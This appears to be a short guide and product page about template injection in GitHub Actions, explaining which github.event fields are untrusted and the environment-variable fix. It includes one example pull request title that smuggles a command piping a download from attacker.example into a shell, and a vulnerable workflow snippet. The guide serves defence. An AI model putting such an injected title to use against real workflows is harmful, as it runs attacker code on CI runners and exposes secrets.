Template injection in GitHub Actions, and the one-line fix
GitHub replaces ${{ }} expressions with their values before a step runs. When the value is text someone outside your team wrote, such as a pull request title or a branch name, it is pasted straight into your script.
Which values are untrusted
Anything a contributor controls: pull request and issue titles and bodies, comment bodies, review bodies, commit messages, head branch names, labels on pull requests from forks, and author names and emails. A title like a"; curl attacker.example | sh; echo " is valid text and becomes valid shell.
The fix
Pass the value through an environment variable and read it in the script. The shell treats an environment variable as data and never re-parses it as code.
# vulnerable: the title is pasted into the script
- run: echo "${{ github.event.pull_request.title }}"
# safe: the title arrives as data
- run: echo "$TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}It is not only run:
The same expansion happens in with: inputs, so actions/github-script's script input is just as exposed, and in if: conditions. Treat every ${{ }} that touches github.event as a place to check.
What Anchorflow checks
Anchorflow tokenises every ${{ }} expression in run, with and if, including nested function arguments and concatenations, matches it against the untrusted github.event fields and flags each sink with its line and the env-based fix.
Check your workflow